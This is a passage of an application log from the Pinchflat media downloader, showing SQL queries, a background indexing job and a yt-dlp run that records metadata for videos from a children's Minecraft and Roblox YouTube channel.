SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:05:00.369 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 19:05:00.371 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:05:00.372 [debug] QUERY OK source="media_items" db=0.8ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:05:00.373 [info] Sent 200 in 11ms 19:05:17.712 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:26.020 [info] {"args":{"id":2},"id":17076,"meta":{},"system_time":1787191526020271465,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:05:26.020 [debug] QUERY OK source="sources" db=0.3ms idle=238.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:26.021 [debug] QUERY OK source="settings" db=0.2ms idle=238.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:26.023 [debug] QUERY OK source="media_items" db=1.4ms idle=239.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:05:26.023 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 19:05:26.023 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:26.024 [debug] QUERY OK source="settings" db=0.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:26.024 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:26.027 [debug] QUERY OK source="media_items" db=2.1ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 19:05:26.029 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:05:26.029 [debug] Current batch of media processed. Will check again in 1000ms 19:05:26.029 [debug] QUERY OK source="settings" db=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:26.029 [debug] QUERY OK source="settings" db=0.1ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:26.029 [debug] QUERY OK source="settings" db=0.0ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:26.030 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/33/f9/33f9f2ac9f16ebe46d29d3677f987faa0edc62c1dcdf920e974107b6884a49f6.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ea/49/ea496fbb7c0b76536bf44e99a9bd86bc1dcde821add4e2d3062e7579a2fcd52b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:05:27.030 [debug] Current batch of media processed. Will check again in 1000ms 19:05:28.031 [debug] Current batch of media processed. Will check again in 1000ms 19:05:29.032 [debug] Current batch of media processed. Will check again in 1000ms 19:05:30.033 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 976, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", "id" => "2-aPfodzXeE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2-aPfodzXeE", "playlist_index" => 1, "timestamp" => 1787043612, "title" => "Why JJ And Mikey Ate ENTIRE World?", "upload_date" => "20260818"} 19:05:30.034 [debug] QUERY OK source="sources" db=0.2ms idle=251.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:30.034 [debug] QUERY OK source="sources" db=0.1ms idle=251.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:30.035 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=252.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 19:05:30.044 [debug] QUERY OK source="media_items" db=8.5ms idle=253.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "36b103b4-5a9f-4607-9dac-37b99642d197", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 02:05:30Z], ~U[2026-08-20 02:05:30Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 19:05:30.044 [debug] QUERY OK source="sources" db=0.1ms idle=12.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:30.045 [debug] QUERY OK source="media_profiles" db=0.2ms idle=10.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:30.045 [debug] QUERY OK source="media_items" db=0.1ms idle=10.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [482073] 19:05:30.045 [debug] Current batch of media processed. Will check again in 1000ms 19:05:31.046 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1231, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", "id" => "SYBhOxduPUg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SYBhOxduPUg", "playlist_index" => 2, "timestamp" => 1786852811, "title" => "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "upload_date" => "20260816"} 19:05:31.046 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:31.047 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:31.048 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 19:05:31.055 [debug] QUERY OK source="media_items" db=6.0ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "2709be83-455e-4720-95a5-55cf3f5707d5", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 02:05:31Z], ~U[2026-08-20 02:05:31Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 19:05:31.055 [debug] QUERY OK source="sources" db=0.1ms idle=22.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:31.056 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:31.056 [debug] QUERY OK source="media_items" db=0.1ms idle=9.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [472253] 19:05:31.056 [debug] Current batch of media processed. Will check again in 1000ms 19:05:32.057 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1360, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", "id" => "TEmV_KQkWXY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TEmV_KQkWXY", "playlist_index" => 3, "timestamp" => 1786797076, "title" => "BUILDING The SAFEST BASE to Survive in Roblox", "upload_date" => "20260815"} 19:05:32.058 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:32.058 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:32.060 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 19:05:32.061 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "67bf3496-83c1-452f-a481-a26fce8b2eba", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], 